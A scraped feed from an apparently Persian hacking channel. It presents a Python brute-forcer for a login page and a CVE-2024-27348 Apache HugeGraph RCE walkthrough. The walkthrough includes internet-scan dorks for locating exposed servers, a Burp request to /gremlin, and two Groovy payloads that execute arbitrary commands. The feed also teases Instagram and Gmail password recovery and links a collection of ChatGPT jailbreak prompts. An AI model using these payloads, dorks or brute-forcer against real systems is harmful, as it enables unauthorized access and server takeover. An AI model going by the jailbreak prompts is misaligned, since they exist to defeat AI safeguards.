بهترین محیط های ازمایشگاهی ای که میتونید ازشون برای تمرین در زمان افلاین بودن استفاده کنید و مهارت هاتون رو رشد بدید ⭕️⭕️ :‌اگر رشد نکنید حالت ثابتی وجود نداره یا مهارتت رو رشد و تمرین میدی یا مهارتت رو به سمت مرگ میبری !‌حالت وسطی وجود نداره

اگر به گیت هاب دستترسی ندارید به یک BruteForcer صفحه لاگین نیاز دارید میتونید از این قطعه کد کمک بگیرید:‌ ‍‍‍ import requests url = "http://zerodey.ir/labs/lab1/index.php" username = "admin" # Generating 4-digit numeric passwords (0000-9999) password_list = [str(i).zfill(4) for i in range(10000)] def brute_force(): for password in password_list: data = {"username": username, "password": password} response = requests.post(url, data=data) if "Invalid" not in response.text: print(f"[+] Found valid credentials: {username}:{password}") break else: print(f"[-] Attempted: {password}") brute_force()

Good night everyone💤

Спокойной

🔻🎥بازیابی رمز اینستاگرام و جیمیل در ۳۰ ثانیه!

🔓 CVE-2024-27348 — آسیب‌پذیری بحرانی RCE در Apache HugeGraph-Server 🔓

🔓 CVE-2024-27348 — آسیب‌پذیری بحرانی RCE در Apache HugeGraph-Server 🔓 🟢 CVE-2024-27348 یک آسیب‌پذیری بسیار مهم و بحرانی (Critical) با امتیاز CVSS 9.8 در Apache HugeGraph-Server است که در نسخه‌های 1.0.0 تا قبل از 1.3.0 وجود دارد. این آسیب‌پذیری از نوع Remote Code Execution (اجرای کد از راه دور) بوده و به مهاجم اجازه می‌دهد بدون احراز هویت، دستورات دلخواه را روی سرور اجرایی کند. https://nvd.nist.gov/vuln/detail/cve-2024-27348 📌 چه اتفاقی می‌افتد؟ آسیب‌پذیری در تعامل با Gremlin (زبان پرس‌وجوی گراف) یا بخش‌های مدیریتی HugeGraph قرار دارد. مهاجم با ارسال ورودی‌های خاص می‌تواند از ضعف کنترل دسترسی سوءاستفاده کند و کد دلخواهش را روی سرور اجرا نماید. 📍 پیامدها: دسترسی کامل به سیستم افشای داده‌های حساس نصب بدافزار یا ایجاد بکدور مختل کردن سرویس‌ها و حذف/تغییر داده‌ها 👾 shodan dork 1 http.title:"HugeGraph" 2 http.html:"HugeGraph Server" 3 product:"Apache HugeGraph" 4 port:8080 "HugeGraph" 👾 fofa dork 1 app="Apache-HugeGraph" 2 title="HugeGraph" 3 body="HugeGraph Server" 4 server="HugeGraph" 5 body="gremlin" && body="HugeGraph" 6 app="Apache-HugeGraph" && port="8080" 👾ZoomEye Dorks 1 app:"Apache HugeGraph" 2 service:"HugeGraph" 3 title:"HugeGraph" exploit http://target.com/gremlin 🧪 روش تست دستی با Burp Suite ( PoC) 1 رهگیری درخواست Burp → Proxy → Intercept ON وارد مسیر /gremlin درخاست رو از گت به پست تغیر میدیم POST /gremlin HTTP/1.1 Host: target:8080 Content-Type: application/json Content-Length: ... {         "gremlin": f"def result = \"{ls}\".execute().text\njava.lang.reflect.Field field = Thread.currentThread().getClass().getDeclaredField(result);",     } ..................... payload 1 {         "gremlin": f"Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"VICARIUS\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList({formatted_words});Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");startMethod.invoke(processBuilderInstance);",         "bindings": {},         "language": "gremlin-groovy",         "aliases": {}     } payload 2         "gremlin": f"def result = \"{command}\".execute().text\njava.lang.reflect.Field field = Thread.currentThread().getClass().getDeclaredField(result);",     } 2 https://github.com/jakabakos/CVE-2024-27348-Apache-HugeGraph-RCE 3 https://github.com/kljunowsky/CVE-2024-27348/blob/main/CVE-2024-27348.py

لیستی از بهترین کتاب های Hکینگ دنیا که توسط افراد خیلی حرفه ای نوشته شدن Code Block

میدونستید به جای نوشتن template های ناکلی با کمک هوش مصنوعی خودش میتونید ازش بخواید براتونtemplate بنویسه ؟ ‌مثلا ما در تصویر بالا یک template که خودمون نوشته بودیم رو تست کردیم و یک دور هم با هوش مصنوعی(خودش) تست کردیم و جواب میده‌! Code Block

روش های دور زدن چت جی پی تی رو از اینجا بردارید :‌ https://github.com/0xk1h0/ChatGPT_DAN